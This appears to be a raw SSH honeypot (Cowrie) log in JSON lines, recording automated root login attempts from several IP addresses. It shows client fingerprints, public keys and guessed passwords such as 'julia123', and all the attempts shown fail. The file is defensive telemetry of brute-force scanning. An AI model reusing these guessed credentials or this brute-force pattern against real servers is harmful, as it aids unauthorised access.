{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:5f:8e:1d:1e:ec:90:b9:de:49:94:f6:c2:16:bd:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcfwf220U28hlV1NmFqRnnsYKgo8534y05NDOJY+Uj4sQ3f/amC6yXWEAqmt8w+RX55QWGZjiE/Z7DGcTS320aPHvylO1/wKyVsFngTEl/IfPxRBRcaz3wP9jWidP+nK/WhhOapiyLtPiIpK0g0CBBPwrp1N7NZ13J9tLVgULRzULTiyShV51LAOV3VpFAg/xOpXDsGfiWxjJ4Aim18t9mVt/bqE7WDIwsMWxLaF7aInM8y28oGjW8IwSg8A7qz36zyMENLEHTyDNDdMOe7GV7SQB2CLdGy1blmFt/C7m5URjwRAe/vQFjfmf8hcXuScyvltexuBaKzdkIIq07C+zjuvHsQBHJlR9rnHilZ8Bci5/4v9EJHnp6lIW4iuYyNZA2srIgL8Bkm17DHb5HR/HJLp68krPTL0A8KtcYCJhT4r0XQo/ESp7umWbt/r7C/OrnH75aVEGpyzpWx4qlvk3iena+Yxu8KK27touFKfEkJS75Q/v6N8NCwAAPgOaa+sv0KKU1TJ4KzJPGfVDcOAsWGFv0DhSDymTzGzB+fcSslM6pGi6tqwZl5g+s3AWV00OElnxvTKCZ0juCSYQkpKGuGAqcGlhowXIAGLe6Dqv8InN8Cx8SXOQV2xmKZYfzzToOXEDVIPsYImFl1aNBOztULx4mYW9ASoWZeIerM9TOXw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.844091Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:57:6a:23:cd:0f:4c:84:d0:bd:4d:11:d3:8e:e2:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCD9MODSFXiHKlQ3OTPSbohfQIyBQMAme1SdxR6SEdVxTraRBN00DWfALZ0hjd/ayWT3D1N65DAfxXFQb393ebjp3Yy2Bi+uTCcntqYQvT/8CAiS+bt+f0uSp8/bGOOlx3d0g/kwIcN+RP10kcN499v9WzVvXdxVC+HtkcfsE4MWkLGTpdLOkbcrzbP+DrebycMn8WclZBMZDm9XcWcgkd27fKLRmb0/+r1plKzxIcyjC5E4iUDrMoImRDnROAJCKUYWPLIVcmqW3lNJIWemiDMqNetomXX7W2N9rNivowEPZV8u9/lW3pt/3VeaChqtWG1Wjx41II1t8y/8JdJfbcDT+yZPWODBhyjbF3yVpFVXpfuwdAC1RaZ2llgJwNQCnQZhL+gI0Jbv36xwALV0hQ+qi+MDvXR8s2BUyRgppj3A0ARCP5V0X4llresWczi8Azw9yw8vyqISvDWmATD/wzejSF2wxs2tvpM3Km3rWp09IIFmIySdd+3rZTVp/B34is=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:57:6a:23:cd:0f:4c:84:d0:bd:4d:11:d3:8e:e2:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.882773Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:57:6a:23:cd:0f:4c:84:d0:bd:4d:11:d3:8e:e2:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCD9MODSFXiHKlQ3OTPSbohfQIyBQMAme1SdxR6SEdVxTraRBN00DWfALZ0hjd/ayWT3D1N65DAfxXFQb393ebjp3Yy2Bi+uTCcntqYQvT/8CAiS+bt+f0uSp8/bGOOlx3d0g/kwIcN+RP10kcN499v9WzVvXdxVC+HtkcfsE4MWkLGTpdLOkbcrzbP+DrebycMn8WclZBMZDm9XcWcgkd27fKLRmb0/+r1plKzxIcyjC5E4iUDrMoImRDnROAJCKUYWPLIVcmqW3lNJIWemiDMqNetomXX7W2N9rNivowEPZV8u9/lW3pt/3VeaChqtWG1Wjx41II1t8y/8JdJfbcDT+yZPWODBhyjbF3yVpFVXpfuwdAC1RaZ2llgJwNQCnQZhL+gI0Jbv36xwALV0hQ+qi+MDvXR8s2BUyRgppj3A0ARCP5V0X4llresWczi8Azw9yw8vyqISvDWmATD/wzejSF2wxs2tvpM3Km3rWp09IIFmIySdd+3rZTVp/B34is=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.888326Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:88:54:9b:27:f6:72:a5:9a:1c:90:61:f4:76:86:93","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANWzfbEM5j3dem9I0778C++Q/ogh0Bi1dEjI8xmKJCFl2JYY9IxlG5KnZvh39qiRD4Cprh7ivLCzTIUroBGoO/GxdWIm9/BYvig9/ugnVjPXikza6ScIi0fiFDkkm4AWllXS5DfB9Pi/eoNe8dUYUG2Pg+zXlySmTlzQ3xjyne3xAAAAFQCGDWA7Ly4fuufclVapiJC/ENNtBQAAAIEAsNPOjM9MhbLnXTsauvIaG+l+LDJpKogztzCkWRnmR9Mu4TM7d1v4jIbAyRvwOiD7UddZh67oAxxgUidtfjomvusrSK16DjhVUnZeaXEXU0RrnxzzgUjgWf4yL65upwFzqr7G7s/ur3MDP0bquUmCCPOHxwj2Zik3s45AcJyj0R0AAACAEDaAZUEAqHYMlLlT2FLZsDAe1NQbiVg5deP2Am1iXD3XcAWPLZhX3+d/u+vp3VDMmAI8SaWnB9kSixO2UlWBxQfzfnem9q6YbMR/s4GomxxpLjYREHLyFD2v4DcLqKTxP7eNoDVgX5FgpE6alLTFPS6CNe5lbdpd4MmQpitGA8Y=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a8:88:54:9b:27:f6:72:a5:9a:1c:90:61:f4:76:86:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.927232Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:88:54:9b:27:f6:72:a5:9a:1c:90:61:f4:76:86:93","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANWzfbEM5j3dem9I0778C++Q/ogh0Bi1dEjI8xmKJCFl2JYY9IxlG5KnZvh39qiRD4Cprh7ivLCzTIUroBGoO/GxdWIm9/BYvig9/ugnVjPXikza6ScIi0fiFDkkm4AWllXS5DfB9Pi/eoNe8dUYUG2Pg+zXlySmTlzQ3xjyne3xAAAAFQCGDWA7Ly4fuufclVapiJC/ENNtBQAAAIEAsNPOjM9MhbLnXTsauvIaG+l+LDJpKogztzCkWRnmR9Mu4TM7d1v4jIbAyRvwOiD7UddZh67oAxxgUidtfjomvusrSK16DjhVUnZeaXEXU0RrnxzzgUjgWf4yL65upwFzqr7G7s/ur3MDP0bquUmCCPOHxwj2Zik3s45AcJyj0R0AAACAEDaAZUEAqHYMlLlT2FLZsDAe1NQbiVg5deP2Am1iXD3XcAWPLZhX3+d/u+vp3VDMmAI8SaWnB9kSixO2UlWBxQfzfnem9q6YbMR/s4GomxxpLjYREHLyFD2v4DcLqKTxP7eNoDVgX5FgpE6alLTFPS6CNe5lbdpd4MmQpitGA8Y=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.931449Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.968519Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":54464,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f415fb3f845","protocol":"ssh","message":"New connection: 103.27.238.114:54464 (10.17.0.5:22) [session: 5f415fb3f845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:53.546805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:53.551974Z","src_ip":"103.27.238.114","session":"5f415fb3f845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:53.805295Z","src_ip":"103.27.238.114","session":"5f415fb3f845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"julia123","message":"login attempt [root/julia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:54.563768Z","src_ip":"103.27.238.114","session":"5f415fb3f845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:55.821236Z","src_ip":"103.27.238.114","session":"5f415fb3f845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54626,"dst_ip":"159.203.135.109","dst_port":22,"session":"60f344300721","protocol":"ssh","message":"New connection: 103.153.68.219:54626 (159.203.135.109:22) [session: 60f344300721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:05.766169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:05.773050Z","src_ip":"103.153.68.219","session":"60f344300721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:06.029199Z","src_ip":"103.153.68.219","session":"60f344300721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"134679q","message":"login attempt [root/134679q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:06.795234Z","src_ip":"103.153.68.219","session":"60f344300721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:08.053293Z","src_ip":"103.153.68.219","session":"60f344300721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.190.153","src_port":37782,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebb2d287d428","protocol":"ssh","message":"New connection: 148.113.190.153:37782 (10.17.0.5:22) [session: ebb2d287d428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:37.796063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:37.802310Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:37.822145Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:28:b5:ba:9e:80:79:ad:d9:a5:15:89:3a:34:1c:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsqnDBVUzrbOesz5Jjge9FHwdYKyFbBtMQ+NFkE7303zqHtnsZg8IC+J+BQ6PqihNdpP4ev0/iXxVam2Uh/UDI91MRS0yRboawLR9fvHnlJ4eYYomajPSZoBtK6gaYTukI/cC5TxaL1Xhqib2HizflPdxV7dmHJWLqrOK58c8caGR4JuoOJ0lCVm9ue9g2eP/7eklagE9B00X5+qlh0/AG1ngGYd7QEK7I2RqotXOTHNMBnDRgtU/QTOaD2qELvxj2r0oDX58bVRWP+iWG8+oL2WOX8ONaUw4S/2ORuTajt4fFrPvo7lolNUEsPm45bnupQlpQORJQbia07CGrxN6XSfgCaMJ4BdOElK/Aqizd9I5d5tMHr6bf4y5RlyWed/L3vzNef5kn5HxYvQCuQH0y1ENLRSuDMjVksWRO4FWSb8vU1DMFCvDIuu1Ab4QTgHBHB3ZCcE5PaUoG+36ZaUjkxGxcz3y+iy+IUnRa6V8OKZ47zUZkLbhvCTcgxHBAEQc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:28:b5:ba:9e:80:79:ad:d9:a5:15:89:3a:34:1c:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:37.904831Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:28:b5:ba:9e:80:79:ad:d9:a5:15:89:3a:34:1c:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsqnDBVUzrbOesz5Jjge9FHwdYKyFbBtMQ+NFkE7303zqHtnsZg8IC+J+BQ6PqihNdpP4ev0/iXxVam2Uh/UDI91MRS0yRboawLR9fvHnlJ4eYYomajPSZoBtK6gaYTukI/cC5TxaL1Xhqib2HizflPdxV7dmHJWLqrOK58c8caGR4JuoOJ0lCVm9ue9g2eP/7eklagE9B00X5+qlh0/AG1ngGYd7QEK7I2RqotXOTHNMBnDRgtU/QTOaD2qELvxj2r0oDX58bVRWP+iWG8+oL2WOX8ONaUw4S/2ORuTajt4fFrPvo7lolNUEsPm45bnupQlpQORJQbia07CGrxN6XSfgCaMJ4BdOElK/Aqizd9I5d5tMHr6bf4y5RlyWed/L3vzNef5kn5HxYvQCuQH0y1ENLRSuDMjVksWRO4FWSb8vU1DMFCvDIuu1Ab4QTgHBHB3ZCcE5PaUoG+36ZaUjkxGxcz3y+iy+IUnRa6V8OKZ47zUZkLbhvCTcgxHBAEQc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:37.910462Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:98:64:8d:e3:07:10:30:04:0d:4c:ba:e1:ef:04:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDstJCcrSUPT6HOy2AcxhJtm+G1YzZMFe62I2teZm1fmfPBthV8XHf0BjDK5sMqSfkUg9X/a52x6JhBw9zTL41j0MJmY//rykEX7BNkcHEzByfaHU71J8S+pfqyK9z4XzIdvNqn6kbqW3o+JbgUQJtuX7LKN+qPGGVRuywXMPfZmji+JlCh7vQWrVfgNN8KryPYkopE3rSk+JqqVpt7AlwHnhTlm+vnY+uIObXv03Tr6FIDL9u54iijOzrdafRt0LZ1ICrn/Z5Ya5NIJLkE6tWiMccarWlO68oveefaNRofphHcz1OwaSWhFb61bxUgdcSOW6vl6n+nmc/lBt1to6aH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:98:64:8d:e3:07:10:30:04:0d:4c:ba:e1:ef:04:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:37.931001Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:98:64:8d:e3:07:10:30:04:0d:4c:ba:e1:ef:04:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDstJCcrSUPT6HOy2AcxhJtm+G1YzZMFe62I2teZm1fmfPBthV8XHf0BjDK5sMqSfkUg9X/a52x6JhBw9zTL41j0MJmY//rykEX7BNkcHEzByfaHU71J8S+pfqyK9z4XzIdvNqn6kbqW3o+JbgUQJtuX7LKN+qPGGVRuywXMPfZmji+JlCh7vQWrVfgNN8KryPYkopE3rSk+JqqVpt7AlwHnhTlm+vnY+uIObXv03Tr6FIDL9u54iijOzrdafRt0LZ1ICrn/Z5Ya5NIJLkE6tWiMccarWlO68oveefaNRofphHcz1OwaSWhFb61bxUgdcSOW6vl6n+nmc/lBt1to6aH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:37.935691Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:87:c9:50:56:e6:8d:c7:24:ea:86:21:14:ce:94:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwdBtWeugIYh9sO+eLZmckUZxIHG/V86LREMJ4W0U4Sdu4ZYa5bK1M7p1fFV4HFDaJJQjVgZpczJzmbH+nFnNT2wV6TAGiXrfyOiUROOScYXJY49X9CTIkvKjwAYdrHX5k0xGWdWSm11VdH9SNWzR8WA9k37r1AP0v1DX0uLg/0BB6vAfjZ9hPzrYrvQfJRF4mCQ31k+Fx5jow1lZp1LujvWncnC0gTATgE2cYmWlyLB8LM3b0DRtiTDC6JkTAJeIe8x44GuiOs8OUx2Dpn6z8NfnIa3TZ0H2BLXw9evuldMp14eSAC7Ztcsd8lO5Yz1njcYKzf+KCmJM41RsYFk8/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:87:c9:50:56:e6:8d:c7:24:ea:86:21:14:ce:94:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:37.958432Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:87:c9:50:56:e6:8d:c7:24:ea:86:21:14:ce:94:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwdBtWeugIYh9sO+eLZmckUZxIHG/V86LREMJ4W0U4Sdu4ZYa5bK1M7p1fFV4HFDaJJQjVgZpczJzmbH+nFnNT2wV6TAGiXrfyOiUROOScYXJY49X9CTIkvKjwAYdrHX5k0xGWdWSm11VdH9SNWzR8WA9k37r1AP0v1DX0uLg/0BB6vAfjZ9hPzrYrvQfJRF4mCQ31k+Fx5jow1lZp1LujvWncnC0gTATgE2cYmWlyLB8LM3b0DRtiTDC6JkTAJeIe8x44GuiOs8OUx2Dpn6z8NfnIa3TZ0H2BLXw9evuldMp14eSAC7Ztcsd8lO5Yz1njcYKzf+KCmJM41RsYFk8/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:37.963182Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:d2:c8:5f:39:34:d4:c2:f7:c4:c4:fd:ab:e9:c2:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYf4wxt1gRZgAHxKV/PWzXHQ697TZbZyhXrc90N82r78+h+70+kZRLTJEjvRYQsT0RpvXisCWn+yiRMQW1wOuOzBB/RXAlobH186TZTvD1LY0yhC8K2WTz4ThK8vBVgsnVCD2FFCWOgCPIPyrUmWuDvLD3BvMrTi125Fhy9vzJI85V503GBLQJforNsPwoNZD6a7oBwPWp3Fi1jQZOTKqZgQRlyV1yByNxUGRTFhJuiPwEhoa5YpxED+PSuXeKQJShrzp+NbdFI5MYoAXUGV12yZtHCgur9dWlFp0QaDS4WoMEpJvWpRe1OJxdkjhFZzPI04ArpfCINwENJ6jy/uYX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:d2:c8:5f:39:34:d4:c2:f7:c4:c4:fd:ab:e9:c2:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:37.985760Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:d2:c8:5f:39:34:d4:c2:f7:c4:c4:fd:ab:e9:c2:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYf4wxt1gRZgAHxKV/PWzXHQ697TZbZyhXrc90N82r78+h+70+kZRLTJEjvRYQsT0RpvXisCWn+yiRMQW1wOuOzBB/RXAlobH186TZTvD1LY0yhC8K2WTz4ThK8vBVgsnVCD2FFCWOgCPIPyrUmWuDvLD3BvMrTi125Fhy9vzJI85V503GBLQJforNsPwoNZD6a7oBwPWp3Fi1jQZOTKqZgQRlyV1yByNxUGRTFhJuiPwEhoa5YpxED+PSuXeKQJShrzp+NbdFI5MYoAXUGV12yZtHCgur9dWlFp0QaDS4WoMEpJvWpRe1OJxdkjhFZzPI04ArpfCINwENJ6jy/uYX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:25:37.989719Z","src_ip":"148.113.190.153","session":"ebb2d287d428","protocol":"ssh"}
